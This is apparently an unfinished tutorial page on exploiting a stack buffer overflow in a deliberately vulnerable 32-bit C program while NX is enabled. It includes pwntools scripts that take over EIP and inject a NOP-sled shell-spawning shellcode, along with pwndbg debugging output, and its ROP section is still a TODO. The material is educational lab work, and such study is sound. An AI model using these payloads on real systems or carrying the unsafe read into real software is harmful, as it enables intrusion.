Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

\newpage

WIP: Bypassing NX with Return Oriented Programming

In this tutorial we'll review how to bypass a "No eXecute" (NX) flag within a binary.

Also known as Data Execution Prevention (DEP), this protection marks writable regions of memory as non-executable. This prevents the processor from executing in these marked regions of memory.


Note: as in previous tutorials, there's a docker container that facilitates reproducing the work of this tutorial. The container can be built with:

docker build -t basic_cybersecurity10:latest .

and run with:

docker run --privileged -v $(pwd):/root/tutorial -it basic_cybersecurity10:latest

Enabling NX

Following content is heavily inspired on [1,2]:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

void vuln() {
    char buffer[128];
    char * second_buffer;
    uint32_t length = 0;
    puts("Reading from STDIN");
    read(0, buffer, 1024);

    if (strcmp(buffer, "Cool Input") == 0) {
        puts("What a cool string.");
    }
    length = strlen(buffer);
    if (length == 42) {
        puts("LUE");
    }
    second_buffer = malloc(length);
    strncpy(second_buffer, buffer, length);
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    puts("This is a big vulnerable example!");
    printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String",
            42);
    write(1, "Writing to STDOUT\n", 18);
    vuln();
}

When compiling this code we'll aim to mark the writable regions of memory as non-executable. According to the original source [1], the resulting binary isn't big enough to perform ROP attacks. Let's see:

root@9a78bba9592e:~/tutorial# pwd
/root/tutorial
root@9a78bba9592e:~/tutorial# gcc -m32 -g -fno-stack-protector -znoexecstack -o ./build/1_nx ./src/1_staticnx.c
root@9a78bba9592e:~/tutorial# ls -lh build/1_nx
-rwxr-xr-x 1 root root 7.6K Jun 18 17:49 build/1_nx

So what we do instead is compiling it as a statically linked ELF. This should include library code in the final executable and bulk up the size of the binary.

root@9a78bba9592e:~/tutorial# gcc -m32 -g -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.c
root@9a78bba9592e:~/tutorial# ls -lh build/1_
1_nx        1_staticnx  
root@9a78bba9592e:~/tutorial# ls -lh build/1_
1_nx        1_staticnx  
root@9a78bba9592e:~/tutorial# ls -lh build/1_staticnx
-rwxr-xr-x 1 root root 729K Jun 18 17:51 build/1_staticnx

There's indeed a big difference between them.

Checking the security of these files indeed deliver an active NX flag:

root@9a78bba9592e:~/tutorial# checksec build/1_*
[*] '/root/tutorial/build/1_nx'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/root/tutorial/build/1_staticnx'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Obtaining EIP Control

Let's build a exploit to take control of the instructions pointer. A first skeleton is presented below:

#!/usr/bin/python

from pwn import *

def main():
    # Start the process
    p = process("../build/1_staticnx")

    # Craft the payload
    payload = "A"*148 + p32(0xdeadc0de)
    payload = payload.ljust(1000, "\x00")

    # Print the process id
    raw_input(str(p.proc.pid))

    # Send the payload
    p.send(payload)

    # Transfer interaction to the user
    p.interactive()

if __name__ == '__main__':
    main()

Which you can run through:

root@9a78bba9592e:~/tutorial/scripts# python 1_skeleton.py
[+] Starting local process '../build/1_staticnx': pid 89
89
[*] Switching to interactive mode
This is a big vulnerable example!
I can print many things: deadbeef, Test String, 42
Writing to STDOUT
Reading from STDIN
[*] Got EOF while reading in interactive
$
[*] Process '../build/1_staticnx' stopped with exit code -11 (SIGSEGV) (pid 89)
[*] Got EOF while sending in interactive

Note that the instruction

# Print the process id
raw_input(str(p.proc.pid))

in the script was placed there to launch a gdb instance in another terminal. Let's go for it then. In another terminal, we connect to the docker container through:

$ docker ps
CONTAINER ID        IMAGE                         COMMAND             CREATED             STATUS              PORTS               NAMES
9a78bba9592e        basic_cybersecurity10:latest   "/bin/bash"         About an hour ago   Up About an hour                        heuristic_gates
victor at Victors-MacBook in ~/web on bounties*
$ docker exec -it 9a78bba9592e bash
root@9a78bba9592e:~#

now we proceed as follows:

# Terminal 1
root@9a78bba9592e:~/tutorial/scripts# python 1_skeleton.py
[+] Starting local process '../build/1_staticnx': pid 123
123

# Terminal 2
root@9a78bba9592e:~# gdb -p 123
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 162 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Attaching to process 123
Reading symbols from /root/tutorial/build/1_staticnx...(no debugging symbols found)...done.
0xf7790b49 in __kernel_vsyscall ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
 EAX  0xfffffe00
 EBX  0x0
 ECX  0xff81e348 ◂— 0x21 /* '!' */
 EDX  0x400
 EDI  0x4e
 ESI  0x80ef00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8069d70 (__strcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]
 EBP  0xff81e3d8 —▸ 0xff81e3e8 ◂— 0x1000
 ESP  0xff81e318 —▸ 0xff81e3d8 —▸ 0xff81e3e8 ◂— 0x1000
 EIP  0xf7790b49 (__kernel_vsyscall+9) ◂— pop    ebp
[ DISASM ]
 ► 0xf7790b49 <__kernel_vsyscall+9>     pop    ebp
   0xf7790b4a <__kernel_vsyscall+10>    pop    edx
   0xf7790b4b <__kernel_vsyscall+11>    pop    ecx
   0xf7790b4c <__kernel_vsyscall+12>    ret    
    ↓
   0x80710c2  <__read_nocancel+24>      pop    ebx
   0x80710c3  <__read_nocancel+25>      cmp    eax, 0xfffff001
   0x80710c8  <__read_nocancel+30>      jae    __syscall_error <0x8074610>
    ↓
   0x8074610  <__syscall_error>         mov    edx, 0xffffffe8
   0x8074616  <__syscall_error+6>       neg    eax
   0x8074618  <__syscall_error+8>       mov    dword ptr gs:[edx], eax
   0x807461b  <__syscall_error+11>      mov    eax, 0xffffffff
[ STACK ]
00:0000│ esp  0xff81e318 —▸ 0xff81e3d8 —▸ 0xff81e3e8 ◂— 0x1000
01:0004│      0xff81e31c ◂— 0x400
02:0008│      0xff81e320 —▸ 0xff81e348 ◂— 0x21 /* '!' */
03:000c│      0xff81e324 —▸ 0x80710c2 (__read_nocancel+24) ◂— pop    ebx
04:0010│      0xff81e328 —▸ 0x80481b0 (_init) ◂— push   ebx
05:0014│      0xff81e32c —▸ 0x80488d2 (vuln+54) ◂— add    esp, 0x10
06:0018│      0xff81e330 ◂— 0x0
07:001c│      0xff81e334 —▸ 0xff81e348 ◂— 0x21 /* '!' */
[ BACKTRACE ]
 ► f 0 f7790b49 __kernel_vsyscall+9
   f 1  80710c2 __read_nocancel+24
   f 2  80488d2 vuln+54
   f 3  80489d2 main+123
   f 4  8048c01 generic_start_main+545
   f 5  8048dfd __libc_start_main+285
 pwndbg> b 14
 Breakpoint 1 at 0x80488d5: file ./src/1_staticnx.c, line 14.
 pwndbg> c
 Continuing.

 # Terminal 1
 # Press ENTER to get:
 [*] Switching to interactive mode
 This is a big vulnerable example!
 I can print many things: deadbeef, Test String, 42
 Writing to STDOUT
 Reading from STDIN
 $  

# Terminal 2
Breakpoint 1, vuln () at ./src/1_staticnx.c:14
14	    if (strcmp(buffer, "Cool Input") == 0) {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
*EAX  0x3e8
*EBX  0x80481b0 (_init) ◂— push   ebx
 ECX  0xff8094d8 ◂— 0x41414141 ('AAAA')
 EDX  0x400
 EDI  0x4e
 ESI  0x80ef00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8069d70 (__strcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]
 EBP  0xff809568 ◂— 0x41414141 ('AAAA')
*ESP  0xff8094d0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— 0xfbad2887
*EIP  0x80488d5 (vuln+57) ◂— sub    esp, 8
──────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────
   0x80488d2 <vuln+54>    add    esp, 0x10
 ► 0x80488d5 <vuln+57>    sub    esp, 8
   0x80488d8 <vuln+60>    push   0x80bedfb
   0x80488dd <vuln+65>    lea    eax, dword ptr [ebp - 0x90]
   0x80488e3 <vuln+71>    push   eax
   0x80488e4 <vuln+72>    call   0x80482a0

   0x80488e9 <vuln+77>    add    esp, 0x10
   0x80488ec <vuln+80>    test   eax, eax
   0x80488ee <vuln+82>    jne    vuln+100 <0x8048900>

   0x80488f0 <vuln+84>    sub    esp, 0xc
   0x80488f3 <vuln+87>    push   0x80bee06
───────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
    9     char * second_buffer;
   10     uint32_t length = 0;
   11     puts("Reading from STDIN");
   12     read(0, buffer, 1024);
   13
 ► 14     if (strcmp(buffer, "Cool Input") == 0) {
   15         puts("What a cool string.");
   16     }
   17     length = strlen(buffer);
   18     if (length == 42) {
   19         puts("LUE");
───────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000│ esp  0xff8094d0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— 0xfbad2887
01:0004│      0xff8094d4 —▸ 0x80bee20 ◂— push   esp
02:0008│ ecx  0xff8094d8 ◂— 0x41414141 ('AAAA')
... ↓
─────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
 ► f 0  80488d5 vuln+57
   f 1 deadc0de
   f 2        0
Breakpoint /root/tutorial/src/1_staticnx.c:14

We've breaked after the read which should get us all the stuff from the script. Now, let's inspect a bit the stack memory:

# Terminal 2
pwndbg> stack 100
00:0000│ esp  0xff8094d0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— 0xfbad2887
01:0004│      0xff8094d4 —▸ 0x80bee20 ◂— push   esp
02:0008│ ecx  0xff8094d8 ◂— 0x41414141 ('AAAA')
... ↓
27:009c│      0xff80956c ◂— 0xdeadc0de
28:00a0│      0xff809570 ◂— 0x0
... ↓

Analyzing the registers:

pwndbg> regs
*EAX  0x3e8
*EBX  0x80481b0 (_init) ◂— push   ebx
 ECX  0xff8094d8 ◂— 0x41414141 ('AAAA')
 EDX  0x400
 EDI  0x4e
 ESI  0x80ef00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8069d70 (__strcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]
 EBP  0xff809568 ◂— 0x41414141 ('AAAA')
*ESP  0xff8094d0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— 0xfbad2887
*EIP  0x80488d5 (vuln+57) ◂— sub    esp, 8

We can see that EBP points out to 0xff809568, which means that the return ret address points to 0xff80956c. According to the memory dump above, it contains 0xdeadc0de which we introduced as desired.

Thereby, we took control of the EIP.

Trying to execute a shellcode

Let's compile the program without NX protection:

gcc -m32 -g -fno-stack-protector -z execstack -static -o ./build/1_nx ./src/1_static.c

Which we can verify as:

root@9d3c62865471:~/tutorial# checksec build/1_static
[*] '/root/tutorial/build/1_static'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
root@9d3c62865471:~/tutorial# checksec build/1_staticnx
[*] '/root/tutorial/build/1_staticnx'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Now, we simply overflow it making sure we append and prepend Noops to the shellcode. We use following script (1_skeleton_shellcode.py):

#!/usr/bin/python
from pwn import *
# Define the context of the working machine
context(arch='i386', os='linux')

def main():
    # Start the process
    log.info("Launching the process")
    p = process("../build/1_static")

    # Get a simple shellcode
    log.info("Putting together simple shellcode")
    shellcode = asm(shellcraft.sh())
    # print(len(shellcode))
    print(asm(shellcraft.sh()))

    # Craft the payload
    log.info("Crafting the payload")
    # payload = "A"*148
    payload = "\x90"*86    # no op code
    payload += shellcode   # 44 chars
    payload += "\x90"*18    # no op code
    payload += p32(0xdeadc0de)
    # payload += "\x90"*500    # no op code
    payload = payload.ljust(2000, "\x00")
    # log.info(payload)

    # Print the process id
    raw_input(str(p.proc.pid))

    # Send the payload
    p.send(payload)

    # Transfer interaction to the user
    p.interactive()

if __name__ == '__main__':
    main()

which gets us a situation like:

[ SOURCE (CODE) ]
    9     char * second_buffer;
   10     uint32_t length = 0;
   11     puts("Reading from STDIN");
   12     read(0, buffer, 1024);
   13
 ► 14     if (strcmp(buffer, "Cool Input") == 0) {
   15         puts("What a cool string.");
   16     }
   17     length = strlen(buffer);
   18     if (length == 42) {
   19         puts("LUE");
[ STACK ]
00:0000│ esp  0xff9abbe0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— xchg   dword ptr [eax], ebp /* 0xfbad2887 */
01:0004│      0xff9abbe4 —▸ 0x80bee20 ◂— push   esp
02:0008│ ecx  0xff9abbe8 ◂— 0x90909090
... ↓
[ BACKTRACE ]
 ► f 0  80488d5 vuln+57
   f 1 deadc0de
   f 2        0
Breakpoint /root/tutorial/src/1_staticnx.c:14
pwndbg> stack 50
00:0000│ esp  0xff9abbe0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— xchg   dword ptr [eax], ebp /* 0xfbad2887 */
01:0004│      0xff9abbe4 —▸ 0x80bee20 ◂— push   esp
02:0008│ ecx  0xff9abbe8 ◂— 0x90909090
... ↓
17:005c│      0xff9abc3c ◂— 0x686a9090
18:0060│      0xff9abc40 ◂— 0x2f2f2f68 ('h///')
19:0064│      0xff9abc44 ◂— 0x622f6873 ('sh/b')
1a:0068│      0xff9abc48 ◂— 0xe3896e69
1b:006c│      0xff9abc4c ◂— 0x1010168
1c:0070│      0xff9abc50 ◂— 0x24348101
1d:0074│      0xff9abc54 ◂— 0x1016972
1e:0078│      0xff9abc58 ◂— 0x6a51c931
1f:007c│      0xff9abc5c ◂— 0xe1015904
20:0080│      0xff9abc60 ◂— 0x31e18951
21:0084│      0xff9abc64 ◂— 0x580b6ad2
22:0088│      0xff9abc68 ◂— 0x909080cd
23:008c│      0xff9abc6c ◂— 0x90909090
... ↓
27:009c│      0xff9abc7c ◂— 0xdeadc0de
28:00a0│      0xff9abc80 ◂— 0x0
... ↓
pwndbg> regs
*EAX  0x400
*EBX  0x80481b0 (_init) ◂— push   ebx
 ECX  0xff9abbe8 ◂— 0x90909090
 EDX  0x400
 EDI  0x4e
 ESI  0x80ef00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8069d70 (__strcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]
 EBP  0xff9abc78 ◂— 0x90909090
*ESP  0xff9abbe0 —▸ 0x80ef200 (_IO_2_1_stdout_) ◂— xchg   dword ptr [eax], ebp /* 0xfbad2887 */
*EIP  0x80488d5 (vuln+57) ◂— sub    esp, 8

Problem now is how to modify 0xdeadc0de by something that falls on the Noop section

Code Gadgets

TODO

Resources